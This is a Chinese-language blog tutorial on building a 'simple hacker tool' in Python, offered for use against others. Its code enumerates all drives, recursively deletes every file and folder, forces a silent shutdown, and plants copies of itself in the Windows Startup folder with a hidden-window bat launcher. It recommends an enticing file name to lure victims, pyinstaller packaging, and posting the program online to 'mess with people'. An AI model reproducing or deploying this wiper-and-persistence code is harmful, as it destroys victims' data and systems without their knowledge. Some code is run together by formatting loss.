手把手教你使用Python庫打造一款簡易黑客工具
/1 前言/
????隨著信息化時代的到來,人們對互聯(lián)網(wǎng)接觸越來越廣泛,這樣就使得很多人對于黑客充滿向往,企圖通過網(wǎng)絡(luò)虛擬世界來做一些有趣的事情。
????所以今天我們要說的工具就是:怎樣利用Python做一個黑客軟件。眾所周知,一般的黑客對于黑操作系統(tǒng)一般常用手法莫過于發(fā)送木馬客戶端,修改系統(tǒng)注冊表,組策略,獲得開機啟動權(quán)限,入侵電腦然后對電腦的文件進行修改來達到不可告人的目的。
/2 項目目標(biāo)/
??? 今天我們要講的就是最基礎(chǔ)的,怎樣獲得開機啟動,先給大家講最基礎(chǔ)添加文件到系統(tǒng)啟動項的文件夾中,當(dāng)然更加高端點也可以使用注冊表添加,這里不在累述。
/3?項目準(zhǔn)備/
????使用sublime text 3編寫 Python 代碼,并一步一步實現(xiàn)相應(yīng)過程。
/4 實現(xiàn)步驟/
1、首先我們通過社會工程學(xué)進行一個分析,準(zhǔn)備一個足夠吸引人的exe文件名稱好讓人第一眼看到就想點擊它的欲望;等到別人點擊了之后了這個程序是沒有任何響應(yīng)的,那么有的人也許會多點幾下程序,當(dāng)然這也對程序沒有任何影響。
2、首先我們得獲取系統(tǒng)盤盤符,這個我們可以使用os模塊通過對環(huán)境變量的字典鍵值來得到當(dāng)前系統(tǒng)盤盤符。
import osprint(os.getenv('SystemDrive'))

3、得到盤符后我們先可以將他的目錄下的文件和文件夾打印出來。
aa=os.getenv('SystemDrive')os.chdir(aa+'\\\\') \#修改當(dāng)前目錄os.system('tree\>\>1.txt') 打印樹形目錄并將其結(jié)果保存到1.txt文件中



4、然后我們只需要刪除盤符下的文件夾和文件即可。所以我們需要用到 os 的walk遍歷當(dāng)前盤符下的所有文件,然后使用remove方法和rmdir方法,一個是刪除文件另一個是刪除目錄。由于沒有虛擬機于是自己創(chuàng)建一個目錄放了若干文件夾和文件,效果都一樣。
path = r"C:\\Users\\Administrator\\Desktop\\sa"os.walk()?方法用于通過在目錄樹中游走輸出在目錄中的文件名,向上或者向下。os.walk() 方法是一個簡單易用的文件、目錄遍歷器,可以幫助我們高效的處理文件、目錄方面的事情。
語法:
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])參數(shù):
top -- 根目錄下的每一個文件夾(包含它自己), 產(chǎn)生3-元組 (dirpath, dirnames,filenames)【文件夾路徑, 文件夾名字, 文件名】topdown?--可選,為True或者沒有指定一個目錄的3-元組將比它的任何子文件夾的3-元組先產(chǎn)生?(目錄自上而下)。如果topdown為 False, 一個目錄的3-元組將比它的任何子文件夾的3-元組后產(chǎn)生(目錄自下而上)。onerror --?可選,是一個函數(shù);?它調(diào)用時有一個參數(shù), 一個OSError實例。報告這錯誤后,繼續(xù)walk, 或者拋出exception終止walk。
for root,dirs,files in os.walk(path,topdown=False):\for name in files:os.remove(os.path.join(root, name))for name in dirs:os.rmdir(os.path.join(root, name))



其實還有一種方法,就是shutil.rmtree(path)但是他會刪除目錄本身及所有子文件夾和文件,也就是說他會刪除sa這個目錄,所以不推薦這種搞法,因為我們要刪除的是盤符下的文件夾或者文件,這樣做很容易導(dǎo)致未知的錯誤。
5、得到了系統(tǒng)盤符之后,我們還想得到系統(tǒng)其他盤符那該怎么辦了,不著急,我們可以試試下面這種方法。
import osimport stringdef get_pan():disk_list=[] \#磁盤盤符列表for p in string.ascii_uppercase: \#遍歷所有大寫字母disk=p+':'if os.path.isdir(disk): \#看磁盤盤符名用了哪些大寫字母開頭disk_list.append(disk) \#添加到盤符列表return disk_listprint(get_pan()) #打印盤符


結(jié)果很完美,跟我預(yù)想的一模一樣,連u盤盤符也打印出來了。
6、光打印一個磁盤目錄文件好像顯得有點美中不足,于是我決定把所有磁盤目錄文件都整出來,老樣子,還是樹形結(jié)構(gòu)。



這樣每個盤的目錄結(jié)構(gòu)就都保存在對應(yīng)盤的2.txt文件中了。
7、然后我們將會把這些盤符下的目錄文件全部刪除,當(dāng)然遍歷刪除啦,為了模擬真實場景我決定用幾個帶有多層文件和目錄的文件夾來代替盤符,這里我就不一一截圖了,直接上代碼,老樣子。
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']for y in g:for root, dirs, files in os.walk(y,topdown=False):\for name in files:os.remove(os.path.join(root, name))for name in dirs:os.rmdir(os.path.join(root, name))
ok,我們已經(jīng)將文件及目錄全部刪除。
8、刪除文件后了系統(tǒng)自然無法正常運行,于是這個時候我們可以使電腦關(guān)機。shutdown ,我的不二選擇,這里我們調(diào)用命令:
os.popen('shutdown?/f?/sg')參數(shù)說明:
/f 強制關(guān)閉正在運行的應(yīng)用程序而不事先警告用戶。/sg 關(guān)閉計算機。在下一次啟動時,重啟任何注冊的應(yīng)用程序。
這樣就可以在沒有任何提示下關(guān)機了,神不知鬼不覺,哈哈哈。
9、當(dāng)然這個操作得是基于文件操作結(jié)束后進行的,再次進行優(yōu)化。
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']for y in g:try:for root, dirs, files in os.walk(y,topdown=False):for name in files:os.remove(os.path.join(root, name))for name in dirs:os.rmdir(os.path.join(root, name))time.sleep(1)except Exception:passfinally:os.popen('shutdown /f /sg')\
我們把程序發(fā)到網(wǎng)上,運氣好別人點擊了,得讓那個文件在自啟動目錄,然后每次開機那個程序才會跟著啟動。但是這里有個弊端,你想讓別人把那個文件放到啟動目錄里去,那簡直是做夢了,這些操作當(dāng)然交給萬能的Python就能一步搞定啦。我們可以在點擊這個文件之后快速生成一個bat文件和一個EXE文件或者Python文件。
10、在這里我以Python 和bat為主,因為我還沒打包的緣故。
自啟動目錄路徑:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startupimport shutilshutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\StartMenu\\Programs\\StartUp\\gc1.py')
在這里我們用到shutil這個模塊,專門操作文件目錄的Copyfile方法是將當(dāng)前資源文件復(fù)制到另一個目錄下的文件,但是需要注意一點的是,兩個文件名不可一樣,否則會報錯,雖然他可以復(fù)制,如果你非得用這個方法,記得拋異常。
11、好了,現(xiàn)在可以了,效果如下所示。



12、然后我們還需要一個bat來啟動它,因為沒有bat他是需要借助外力去點擊才有效果的,有了bat就可以自動啟動。
建立一個后綴為bat的文件,內(nèi)容如下:

同樣的。我們還是需要我們的Python來智能產(chǎn)生bat文件那么該怎樣寫了,很簡單,有人問我為什么是pythow不是Python,因為前者運行后沒有黑窗口,當(dāng)然不管是創(chuàng)建bat文件還是復(fù)制程序文件都最好在刪除之后調(diào)用,有人問我,你的文件都刪除完了,留那一個有何用,哈啊哈哈,我只能說,僅供娛樂。。。
13、回到正題,程序文件只需創(chuàng)建一個就ok。


14、這樣就算是大功告成了,然后我們也可以把Python文件打包,這樣bat文件里就不需要寫解釋器了,因為有的目標(biāo)電腦可能沒有Python環(huán)境,這個時候需要我們用pyinstaller打包一下。打包好了之后,直接把bat文件內(nèi)容改為:
start gc.exe就可以啦~~
打包成exe文件之后了,就可以發(fā)布到網(wǎng)上嚯嚯別人啦,哈哈哈~~
/5 小結(jié)/
1、本文章基于Python庫,獲取盤符信息,之后使用命令強制刪除盤符下文件和自動關(guān)機功能,將程序封裝打包,可打造一款簡易的“黑客”工具。
2、總的來說就是介紹Python各個系統(tǒng)相關(guān)模塊的使用,以及一些cmd命令的使用,難度不大,可以用作平時練手時用,比起專業(yè)的黑客技術(shù)來說,這個是小巫見大巫了。
回復(fù)關(guān)鍵字“簡明python ”,立即獲取入門必備書籍《簡明python教程》電子版
回復(fù)關(guān)鍵字“爬蟲”,立即獲取爬蟲學(xué)習(xí)資料
推薦閱讀
